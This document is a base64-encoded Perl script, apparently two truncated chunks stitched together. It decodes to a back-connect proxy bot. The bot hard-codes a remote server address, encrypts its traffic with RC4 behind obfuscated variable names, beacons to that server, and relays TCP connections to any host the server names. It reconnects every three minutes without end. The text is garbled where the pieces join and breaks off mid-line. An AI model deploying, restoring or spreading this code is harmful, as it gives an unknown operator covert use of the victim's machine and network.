JCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGR